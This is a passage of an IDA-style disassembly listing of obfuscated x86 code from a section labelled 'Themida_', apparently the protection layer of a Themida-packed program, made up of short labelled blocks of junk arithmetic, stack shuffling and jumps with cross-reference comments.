		add	ah, 0DEh
		xor	dh, ah
		jmp	loc_5643A6
; ---------------------------------------------------------------------------


loc_573170:				; CODE XREF: Themida_:0056A13Aj
		mov	esp, [esp]
		push	edx
		mov	edx, 55602F4Fh
		and	edx, 15AD6F8Fh
		jmp	loc_5628A2
; ---------------------------------------------------------------------------


loc_573184:				; CODE XREF: Themida_:0056D84Dj
		pop	dword ptr [esp]
		jmp	loc_56160F
; ---------------------------------------------------------------------------


loc_57318C:				; CODE XREF: Themida_:0056C3C8j
		add	ecx, 50E52FAAh
		add	ecx, edi
		sub	ecx, 50E52FAAh
		add	ecx, 5A187833h
		jmp	loc_570B0F
; ---------------------------------------------------------------------------


loc_5731A5:				; CODE XREF: Themida_:00568EF4j
		or	esi, 78F64FABh
		jmp	loc_562774
; ---------------------------------------------------------------------------


loc_5731B0:				; CODE XREF: Themida_:005682C5j
		pop	ecx
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		push	ecx
		jmp	loc_55F82A
; ---------------------------------------------------------------------------


loc_5731BC:				; CODE XREF: Themida_:0056A560j
		xor	ebp, 0E8B40A11h
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_56022C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	7D7Ah
		mov	[esp], ebp
		push	7D3Fh
		jmp	loc_56956F
; ---------------------------------------------------------------------------


loc_5731EA:				; CODE XREF: Themida_:00570CB4j
		pop	esi
		jmp	loc_568CEB
; ---------------------------------------------------------------------------


loc_5731F0:				; CODE XREF: Themida_:0056A3E4j
		pop	esp
		mov	[esp], edx
		push	ebp
		push	121D594Fh
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 121D594Bh
		xor	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5676DE
; ---------------------------------------------------------------------------


loc_573213:				; CODE XREF: Themida_:00567CAEj
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	17470326h
		pop	edi
		sub	edi, 17470322h
		mov	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		jmp	loc_564800
; ---------------------------------------------------------------------------


loc_573249:				; CODE XREF: Themida_:00562D76j
		mov	ebx, [esp]
		push	edi
		jmp	loc_560635
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_57325A:				; CODE XREF: Themida_:00561D40j
		push	1B06h
		mov	[esp], ecx
		jmp	loc_561B8F
; ---------------------------------------------------------------------------


loc_573267:				; CODE XREF: Themida_:0056CC13j
		push	esp
		jmp	loc_55F866
; ---------------------------------------------------------------------------


loc_57326D:				; CODE XREF: Themida_:00568617j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_566283
; ---------------------------------------------------------------------------


loc_573277:				; CODE XREF: Themida_:0056082Cj
		add	edi, ecx
		add	edi, 29981CC0h
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56D86F
; ---------------------------------------------------------------------------


loc_573296:				; CODE XREF: Themida_:00567F65j
		pop	esp
		jmp	loc_565D46
; ---------------------------------------------------------------------------


loc_57329C:				; CODE XREF: Themida_:005701B3j
		push	ebx
		push	11454BDDh
		jmp	loc_56371F
; ---------------------------------------------------------------------------


loc_5732A7:				; CODE XREF: Themida_:00560336j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 3B64179Ah
		add	dword ptr [esp+4], 33C62110h
		jmp	loc_56F3A7
; ---------------------------------------------------------------------------


loc_5732C0:				; CODE XREF: Themida_:0055FEE5j
		sub	edx, 598176F9h
		sub	edx, 332541F5h
		add	edx, eax
		add	edx, 332541F5h
		add	edx, 598176F9h
		pop	eax
		push	33D8h
		mov	[esp], ebx
		mov	ebx, 16F873AEh
		add	ebx, 1FC12B4h
		xor	ebx, 73B0819Dh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edx
		jmp	loc_57307D
; ---------------------------------------------------------------------------


loc_573303:				; CODE XREF: Themida_:005678C9j
		add	ah, 0E3h
		jmp	loc_56EFBA
; ---------------------------------------------------------------------------


loc_57330B:				; CODE XREF: Themida_:005668C5j
		and	ebp, eax
		pop	eax
		dec	ebp
		neg	ebp
		xor	ebp, 506E74BAh
		jmp	loc_560177
; ---------------------------------------------------------------------------


loc_57331C:				; CODE XREF: Themida_:00565848j
		push	edi
		mov	edi, 2EE27B39h
		mov	edx, edi
		pop	edi
		sub	ecx, edx
		pop	edx
		pop	ebx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56D1AD
; ---------------------------------------------------------------------------


loc_57333B:				; CODE XREF: Themida_:005740C9j
		mov	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	esp
		jmp	loc_56AB01
; ---------------------------------------------------------------------------


loc_573348:				; CODE XREF: Themida_:00560902j
		shl	bl, 6
		jmp	loc_5624B8
; ---------------------------------------------------------------------------


loc_573350:				; CODE XREF: Themida_:005611E8j
		pop	eax
		jmp	loc_57094E
; ---------------------------------------------------------------------------


loc_573356:				; CODE XREF: Themida_:005706B2j
		pop	edx
		jmp	loc_56268E
; ---------------------------------------------------------------------------


loc_57335C:				; CODE XREF: Themida_:00563DDBj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_56AF48
; ---------------------------------------------------------------------------


loc_57336B:				; CODE XREF: Themida_:00569CA5j
		sub	ebp, 1DC907E9h
		add	ebp, edi
		add	ebp, 1DC907E9h
		pop	edi
		shl	ebp, 6
		add	ebp, 0FFFFFFFFh
		jmp	loc_570754
; ---------------------------------------------------------------------------


loc_573385:				; CODE XREF: Themida_:0056093Aj
		push	edx
		jmp	loc_569A1C
; ---------------------------------------------------------------------------


loc_57338B:				; CODE XREF: Themida_:0056B3F7j
		push	50A4501Fh
		pop	edx
		shr	edx, 3
		jmp	loc_55FB7F
; ---------------------------------------------------------------------------


loc_573399:				; CODE XREF: Themida_:00560881j
		add	al, 0ABh
		add	al, bh
		jmp	loc_5616B9
; ---------------------------------------------------------------------------


loc_5733A2:				; CODE XREF: Themida_:00561BB7j
		mov	ebx, 0AAB4D37h
		push	edi
		mov	edi, ebx
		push	edi
		add	dword ptr [esp], 1985264Eh
		jmp	loc_56C12F
; ---------------------------------------------------------------------------


loc_5733B7:				; CODE XREF: Themida_:00565382j
		mov	ch, 2Ah
		push	eax
		jmp	loc_56391A
; ---------------------------------------------------------------------------


loc_5733BF:				; CODE XREF: Themida_:0056923Bj
		push	ebx
		jmp	loc_5637A2
; ---------------------------------------------------------------------------


loc_5733C5:				; CODE XREF: Themida_:0057055Dj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 858E5DB0h
		jmp	loc_56CC79
; ---------------------------------------------------------------------------


loc_5733D5:				; CODE XREF: Themida_:005625C1j
		mov	ebx, [esp]
		jmp	loc_56FFC8
; ---------------------------------------------------------------------------


loc_5733DD:				; CODE XREF: Themida_:0056C7F3j
		xor	ebp, [esp]
		pop	esp
		and	ch, 48h
		jmp	loc_563B8E
; ---------------------------------------------------------------------------


loc_5733E9:				; CODE XREF: Themida_:00564C81j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		push	105D392Bh
		pop	esi
		add	esi, 3D718ADh
		jmp	loc_572B5B
; ---------------------------------------------------------------------------


loc_573404:				; CODE XREF: Themida_:005673A7j
		push	eax
		mov	al, 0D9h
		push	ebx
		mov	bh, 2
		jmp	loc_5745E5
; ---------------------------------------------------------------------------


loc_57340F:				; CODE XREF: Themida_:0056EDE3j
		pop	edx
		pop	ebp
		xor	ebp, 4EA4593Eh
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_568871
; ---------------------------------------------------------------------------


loc_573436:				; CODE XREF: Themida_:0056EC50j
		pop	esi
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56CA9F
; ---------------------------------------------------------------------------


loc_57344E:				; CODE XREF: Themida_:00563452j
		push	eax
		jmp	loc_566E2E
; ---------------------------------------------------------------------------


loc_573454:				; CODE XREF: Themida_:00562D94j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ecx, 60F24194h
		sub	ecx, edx
		sub	ecx, 60F24194h
		sub	ecx, 491B579Bh
		add	ecx, 0DDB65E7h
		pop	edx
		not	ecx
		sub	ecx, 2427F126h
		and	[edi+1Ch], ecx
		jmp	loc_56F287
; ---------------------------------------------------------------------------


loc_573486:				; CODE XREF: Themida_:005622A5j
		add	edi, ebp
		add	edi, 5FDE565Bh
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56F71A
; ---------------------------------------------------------------------------


loc_57349A:				; CODE XREF: Themida_:0056F87Bj
		pop	eax
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	esi, ebp
		jmp	loc_5698AE
; ---------------------------------------------------------------------------


loc_5734AA:				; CODE XREF: Themida_:005651AAj
		add	eax, edx
		pop	edx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56DF94
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0C4h
		jmp	loc_568BAB
; ---------------------------------------------------------------------------


loc_5734E3:				; CODE XREF: Themida_:005632F4j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	2B9Dh
		mov	[esp], ebx
		push	esi
		mov	esi, 7E0E3DE5h
		mov	ebx, 7E0E3DE1h
		xor	ebx, esi
		pop	esi
		sub	ecx, 17ED353Ch
		push	edi
		mov	edi, 3278270Dh
		add	edi, 0ECE9389Eh
		sub	ecx, edi
		pop	edi
		jmp	loc_563053
; ---------------------------------------------------------------------------


loc_573520:				; CODE XREF: Themida_:0057020Ej
		sub	eax, ebx
		pop	ebx
		add	eax, 76AC1BB6h
		jmp	loc_56565B
; ---------------------------------------------------------------------------


loc_57352D:				; CODE XREF: Themida_:005721FEj
		add	ecx, ebp
		pop	ebp
		jmp	loc_562E1B
; ---------------------------------------------------------------------------


loc_573535:				; CODE XREF: Themida_:00563159j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 559F434Fh
		or	eax, 5E4807BFh
		jmp	loc_56FB66
; ---------------------------------------------------------------------------


loc_573548:				; CODE XREF: Themida_:0056B46Dj
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5631AB
; ---------------------------------------------------------------------------


loc_57356A:				; CODE XREF: Themida_:00570229j
		pop	ebp
		mov	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		push	5299h
		mov	[esp], ebx
		mov	ebx, 7EAB2F81h
		add	dword ptr [esp+4], 45ED79C0h
		push	ecx
		mov	ecx, 591B1218h
		add	[esp+8], ecx
		pop	ecx
		sub	[esp+4], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 591B1218h
		jmp	loc_56880A
; ---------------------------------------------------------------------------


loc_5735AA:				; CODE XREF: Themida_:00566F1Bj
		mov	edx, 2C86374Dh
		dec	edx
		jmp	loc_57168B
; ---------------------------------------------------------------------------


loc_5735B5:				; CODE XREF: Themida_:005634DAj
		mov	esp, [esp]
		idiv	ecx
		push	3289h
		jmp	loc_564A63
; ---------------------------------------------------------------------------


loc_5735C4:				; CODE XREF: Themida_:00572F12j
		push	15B27ECCh
		pop	eax
		jmp	loc_570251
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_560FA4
; ---------------------------------------------------------------------------


loc_5735DA:				; CODE XREF: Themida_:0056E8FBj
		add	eax, edx
		add	eax, 2E1B3C93h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, 2F4A1102h
		mov	ebx, 2F4A1106h
		xor	ebx, ebp
		jmp	loc_5746C9
; ---------------------------------------------------------------------------


loc_573607:				; CODE XREF: Themida_:00569EA6j
		pop	edx
		not	ecx
		not	ecx
		shr	ecx, 1
		jmp	loc_562D9F
; ---------------------------------------------------------------------------


loc_573613:				; CODE XREF: Themida_:0056FA7Bj
		add	edi, 4E8D57AEh
		jmp	loc_55FB8D
; ---------------------------------------------------------------------------


loc_57361E:				; CODE XREF: Themida_:00569E83j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 292E27B3h
		mov	eax, [esp]
		add	esp, 4
		add	edx, 269C0496h
		jmp	loc_564B73
; ---------------------------------------------------------------------------


loc_57363E:				; CODE XREF: Themida_:0056CB59j
		push	ebx
		mov	bh, dh
		mov	ch, bh
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56D98F
; ---------------------------------------------------------------------------


loc_57364F:				; CODE XREF: Themida_:00567343j
		dec	al
		shr	al, 5
		push	ecx
		jmp	loc_56A2C9
; ---------------------------------------------------------------------------


loc_57365A:				; CODE XREF: Themida_:00560C2Aj
		add	esp, 4
		push	ecx
		push	eax
		jmp	loc_570E51
; ---------------------------------------------------------------------------


loc_573667:				; CODE XREF: Themida_:0056DFA2j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_57366C:				; CODE XREF: Themida_:0056F650j
		mov	[esp], esi
		push	31B0h
		jmp	loc_56CABD
; ---------------------------------------------------------------------------


loc_573679:				; CODE XREF: Themida_:00564828j
		xor	edi, [esp]
		pop	esp
		push	edi
		jmp	loc_56F391
; ---------------------------------------------------------------------------


loc_573683:				; CODE XREF: Themida_:0056E97Cj
		add	ebx, 3219726Eh
		sub	ebx, esi
		jmp	loc_5615E0
; ---------------------------------------------------------------------------


loc_573690:				; CODE XREF: Themida_:0056AFA5j
		sub	al, 90h
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	al, 3Ch
		shl	al, 1
		jmp	loc_5690CC
; ---------------------------------------------------------------------------


loc_5736A2:				; CODE XREF: Themida_:00567450j
		mov	ecx, 5A69638Ah
		sub	ecx, 1
		jmp	loc_56036C
; ---------------------------------------------------------------------------


loc_5736AF:				; CODE XREF: Themida_:0056C767j
		add	esp, 4
		or	edx, 4284815h
		shr	edx, 7
		and	edx, 5D4F67BBh
		jmp	loc_569BD6
; ---------------------------------------------------------------------------


loc_5736C9:				; CODE XREF: Themida_:0056A229j
		xor	ecx, 6CED1A42h
		push	edx
		jmp	loc_56B6C1
; ---------------------------------------------------------------------------


loc_5736D5:				; CODE XREF: Themida_:0056447Cj
		mov	[esp], ebx
		push	753B5E86h
		pop	ebx
		push	esi
		mov	esi, 519E2824h
		xor	esi, 43F62645h
		sub	esi, 9D2CAFDFh
		xor	ebx, esi
		jmp	loc_570636
; ---------------------------------------------------------------------------


loc_5736F7:				; CODE XREF: Themida_:00571EE9j
		push	ebx
		mov	ebx, esp
		jmp	loc_5719A2
; ---------------------------------------------------------------------------


loc_5736FF:				; CODE XREF: Themida_:0056B5DBj
		sub	esp, 4
		jmp	loc_56076F
; ---------------------------------------------------------------------------


loc_57370A:				; CODE XREF: Themida_:00570AF5j
		shr	bh, 7
		shr	bh, 6
		add	bh, 0FFh
		jmp	loc_56D5BF
; ---------------------------------------------------------------------------


loc_573718:				; CODE XREF: Themida_:00560348j
		push	dword ptr [esp+4]
		jmp	loc_574722
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_562DEB
; ---------------------------------------------------------------------------


loc_573729:				; CODE XREF: Themida_:0057177Fj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edx
		jmp	loc_56CB14
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_565B76
; ---------------------------------------------------------------------------


loc_573742:				; CODE XREF: Themida_:00564F64j
		or	ebx, 3FCB3E6Fh
		add	ebx, 0C0008005h
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]


loc_57375D:				; CODE XREF: Themida_:0056A27Dj
		sub	esp, 4
		mov	[esp], edi
		push	0A30h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_565C6F
; ---------------------------------------------------------------------------


loc_57377E:				; CODE XREF: Themida_:00564FCCj
		xchg	edx, [esp]
		pop	esp
		xor	[esp], ch
		xor	ch, [esp]
		xor	[esp], ch
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_573790:				; CODE XREF: Themida_:00562FE4j
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_56A8F4
; ---------------------------------------------------------------------------


loc_5737A3:				; CODE XREF: Themida_:0056E36Aj
		sub	ebx, 1
		xor	ebx, 27972CC7h
		or	ebx, 7DCF7958h
		xor	ebx, 7FFFFF5Ah
		push	eax
		jmp	loc_5636F7
; ---------------------------------------------------------------------------


loc_5737C1:				; CODE XREF: Themida_:0055FC17j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	4A77h
		jmp	loc_560377
; ---------------------------------------------------------------------------


loc_5737D3:				; CODE XREF: Themida_:00573D39j
		pop	esi
		jmp	loc_565069
; ---------------------------------------------------------------------------


loc_5737D9:				; CODE XREF: Themida_:00567F3Dj
		neg	edx
		jmp	loc_56B158
; ---------------------------------------------------------------------------


loc_5737E0:				; CODE XREF: Themida_:0056627Ej
		push	bx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 49h
		add	al, 3Bh
		jmp	loc_56C02B
; ---------------------------------------------------------------------------


loc_5737F1:				; CODE XREF: Themida_:00571EA9j
		add	esp, 4
		push	ecx
		jmp	loc_56677B
; ---------------------------------------------------------------------------


loc_5737FD:				; CODE XREF: Themida_:00571273j
		mov	[esp], eax
		push	esi
		mov	esi, 349E311Ah
		jmp	loc_56AEB8
; ---------------------------------------------------------------------------


loc_57380B:				; CODE XREF: Themida_:00573EC8j
		dec	edx
		neg	edx
		sub	edx, 0B88944BFh
		jmp	loc_56248E
; ---------------------------------------------------------------------------


loc_573819:				; CODE XREF: Themida_:0056894Dj
		add	eax, 9D7831h
		sub	eax, 30C10EA9h
		jmp	loc_569CC4
; ---------------------------------------------------------------------------


loc_573828:				; CODE XREF: Themida_:00571607j
		pop	eax
		push	ecx
		push	eax
		mov	al, 70h
		or	al, 0ECh
		neg	al
		jmp	loc_565E05
; ---------------------------------------------------------------------------


loc_573836:				; CODE XREF: Themida_:005670ECj
		pop	dx
		or	al, ch
		jmp	loc_572AF1
; ---------------------------------------------------------------------------


loc_57383F:				; CODE XREF: Themida_:0056FEF3j
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	0ED0h
		jmp	loc_56B3C9
; ---------------------------------------------------------------------------


loc_573867:				; CODE XREF: Themida_:0056E2F1j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	eax
		jmp	loc_56354D
; ---------------------------------------------------------------------------


loc_573881:				; CODE XREF: Themida_:0056E472j
		push	ebx
		mov	ebx, 6C25568Eh
		sub	ebx, 7768208Ah
		sub	ebx, 6DE3052Ah
		not	ebx
		sub	ebx, 7925CF21h
		sub	ebp, 14490042h
		add	ebp, ebx
		add	ebp, 14490042h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_563576
; ---------------------------------------------------------------------------


loc_5738B7:				; CODE XREF: Themida_:00570170j
		mov	bx, [esp]
		jmp	loc_574349
; ---------------------------------------------------------------------------


loc_5738C0:				; CODE XREF: Themida_:0056B6B5j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_56C56B
; ---------------------------------------------------------------------------


loc_5738D2:				; CODE XREF: Themida_:005630B3j
					; Themida_:00567382j
		push	7350h
		mov	[esp], edx
		push	ebx
		jmp	loc_55F9C0
; ---------------------------------------------------------------------------


loc_5738E0:				; CODE XREF: Themida_:0056C22Dj
		mov	ebx, edx
		pop	edx
		not	ebx
		jmp	loc_56A9AA
; ---------------------------------------------------------------------------


loc_5738EA:				; CODE XREF: Themida_:00568770j
		and	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_563A01
; ---------------------------------------------------------------------------


loc_5738F5:				; CODE XREF: Themida_:0056200Dj
		mov	ebp, 8DB25F1h
		or	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5673EF
; ---------------------------------------------------------------------------


loc_573904:				; CODE XREF: Themida_:00568E76j
		xor	ebx, [esp]
		jmp	loc_56436B
; ---------------------------------------------------------------------------


loc_57390C:				; CODE XREF: Themida_:00562DE6j
		xor	ecx, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, edx
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		jmp	loc_5633F3
; ---------------------------------------------------------------------------


loc_573924:				; CODE XREF: Themida_:005702DAj
		shr	edx, 1
		or	edx, 609B46DDh
		jmp	loc_56135E
; ---------------------------------------------------------------------------


loc_573931:				; CODE XREF: Themida_:0056E12Aj
		push	eax
		mov	ah, 14h
		not	ah
		xor	ah, 0A0h
		neg	ah
		jmp	loc_562B90
; ---------------------------------------------------------------------------


loc_573940:				; CODE XREF: Themida_:005612A2j
		push	eax
		mov	eax, 46233951h
		mov	edi, eax
		mov	eax, [esp]
		jmp	loc_564BCD
; ---------------------------------------------------------------------------


loc_573950:				; CODE XREF: Themida_:005741F5j
		add	eax, 4
		jmp	loc_5677DD
; ---------------------------------------------------------------------------


loc_573958:				; CODE XREF: Themida_:005637BBj
		xor	edx, 37166244h
		sub	ebx, 5A3919BFh
		add	ebx, edx
		add	ebx, 5A3919BFh
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56C032
; ---------------------------------------------------------------------------


loc_57397B:				; CODE XREF: Themida_:005673FAj
		push	eax
		add	dword ptr [esp], 4C845266h
		jmp	loc_570CA2
; ---------------------------------------------------------------------------


loc_573988:				; CODE XREF: Themida_:00560D40j
		and	dl, 0Bh
		sub	dl, 0D4h
		add	dl, 8Eh
		mov	bl, dl
		pop	edx
		add	bl, 0C2h
		xchg	al, bl
		not	al
		xchg	al, bl
		push	ecx
		jmp	loc_561602
; ---------------------------------------------------------------------------


loc_5739A3:				; CODE XREF: Themida_:00565242j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_569579
; ---------------------------------------------------------------------------


loc_5739AE:				; CODE XREF: Themida_:0056803Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 59173BDDh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 43852F2Ah
		xor	ebp, eax
		pop	eax
		not	ebp
		push	eax
		mov	eax, 87AA91AAh
		jmp	loc_568441
; ---------------------------------------------------------------------------


loc_5739E3:				; CODE XREF: Themida_:00567A17j
		add	esp, 4
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5642C0
; ---------------------------------------------------------------------------


loc_5739FA:				; CODE XREF: Themida_:005710E3j
		add	esi, 1
		or	esi, 634D3279h
		push	edx
		push	esi
		push	0EDF3E05h
		pop	esi
		jmp	loc_56F32A
; ---------------------------------------------------------------------------


loc_573A13:				; CODE XREF: Themida_:00560E54j
		push	3E45h
		mov	[esp], esi
		push	2A92h
		mov	[esp], edx
		push	esi
		push	ebp
		mov	ebp, 617B3AB3h
		jmp	loc_568EF9
; ---------------------------------------------------------------------------


loc_573A2F:				; CODE XREF: Themida_:0056C90Ej
		mov	di, cx
		mov	ecx, [esp]
		add	esp, 4
		pop	bp
		xor	dx, di
		jmp	loc_569CAA
; ---------------------------------------------------------------------------


loc_573A45:				; CODE XREF: Themida_:0056FF97j
		add	al, 47h
		push	17FCh
		mov	[esp], ebx
		jmp	loc_55F961
; ---------------------------------------------------------------------------


loc_573A54:				; CODE XREF: Themida_:00571D50j
		sub	esp, 4
		mov	[esp], ebp
		push	2CC72C14h
		pop	ebp
		jmp	loc_56B4C0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	5F75h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_572584
; ---------------------------------------------------------------------------


loc_573A98:				; CODE XREF: Themida_:00560B44j
		mov	ebp, 4C732299h
		jmp	loc_56589F
; ---------------------------------------------------------------------------


loc_573AA2:				; CODE XREF: Themida_:00562AFAj
		push	esi
		jmp	loc_562865
; ---------------------------------------------------------------------------


loc_573AA8:				; CODE XREF: Themida_:00565344j
		xor	bh, 3Eh
		jmp	loc_56EAEF
; ---------------------------------------------------------------------------


loc_573AB0:				; CODE XREF: Themida_:00573C73j
		mov	ebp, 1
		jmp	loc_56BF8E
; ---------------------------------------------------------------------------


loc_573ABA:				; CODE XREF: Themida_:00565C33j
		mov	[esp], esi
		push	ecx
		push	edx
		mov	edx, 15DC621Bh
		mov	ecx, edx
		pop	edx
		xor	ecx, 5DFA5BE7h
		push	ebp
		mov	ebp, 29D7038Ah
		xor	ebp, 54B72252h
		add	ecx, ebp
		pop	ebp
		add	ecx, 7AEC60F8h
		add	ecx, 17AC9551h
		jmp	loc_56562C
; ---------------------------------------------------------------------------


loc_573AED:				; CODE XREF: Themida_:005607C1j
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 3D85648Bh
		xor	ebp, 1CBB7345h
		sub	ebp, 8A0DADBh
		jmp	loc_572BC7
; ---------------------------------------------------------------------------


loc_573B07:				; CODE XREF: Themida_:0055FE49j
		mov	ebx, 161C162Ch
		jmp	loc_56F36B
; ---------------------------------------------------------------------------


loc_573B11:				; CODE XREF: Themida_:0056AFB2j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		jmp	loc_56A7A5
; ---------------------------------------------------------------------------


loc_573B24:				; CODE XREF: Themida_:0056DC27j
		push	9A2h
		mov	[esp], ecx
		mov	ecx, 544A1909h
		jmp	loc_55FED9
; ---------------------------------------------------------------------------


loc_573B36:				; CODE XREF: Themida_:0056D058j
		pop	edx
		jmp	loc_568D4D
; ---------------------------------------------------------------------------


loc_573B3C:				; CODE XREF: Themida_:00560A12j
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		jmp	loc_56925B
; ---------------------------------------------------------------------------


loc_573B4F:				; CODE XREF: Themida_:0056C467j
		mov	esi, 66CC4B35h
		jmp	loc_567F02
; ---------------------------------------------------------------------------


loc_573B59:				; CODE XREF: Themida_:0056F0C7j
		mov	ecx, 387A0EF8h
		jmp	loc_56C320
; ---------------------------------------------------------------------------


loc_573B63:				; CODE XREF: Themida_:00561199j
		dec	edx
		jmp	loc_56868F
; ---------------------------------------------------------------------------


loc_573B69:				; CODE XREF: Themida_:0056708Dj
		add	ebx, 64E440A8h
		jmp	loc_566E8B
; ---------------------------------------------------------------------------
		push	4E8h
		push	4E7Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_56590A
; ---------------------------------------------------------------------------


loc_573B8D:				; CODE XREF: Themida_:005722E2j
		mov	esp, [esp]
		mov	[esp], ecx
		push	6479h
		mov	[esp], edi
		jmp	loc_56FC2D
; ---------------------------------------------------------------------------


loc_573BA0:				; CODE XREF: Themida_:00572E6Cj
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_566160
; ---------------------------------------------------------------------------


loc_573BCB:				; CODE XREF: Themida_:00562ECEj
		pop	ebp
		push	eax
		mov	eax, 1F470516h
		jmp	loc_572B11
; ---------------------------------------------------------------------------


loc_573BD7:				; CODE XREF: Themida_:0055FD2Bj
		mov	al, ch
		pop	ecx
		sub	bl, 9Dh
		add	bl, al
		jmp	loc_56D6DC
; ---------------------------------------------------------------------------


loc_573BE4:				; CODE XREF: Themida_:00568D05j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56EDDA
; ---------------------------------------------------------------------------


loc_573BF0:				; CODE XREF: Themida_:00572AECj
		add	edi, edx
		jmp	loc_567A3E
; ---------------------------------------------------------------------------


loc_573BF7:				; CODE XREF: Themida_:0056C91Aj
		mov	ebp, [esp]
		jmp	loc_560A80
; ---------------------------------------------------------------------------


loc_573BFF:				; CODE XREF: Themida_:005716EEj
		add	esp, 4
		jmp	loc_5687D6
; ---------------------------------------------------------------------------


loc_573C07:				; CODE XREF: Themida_:0057028Dj
		pop	edx
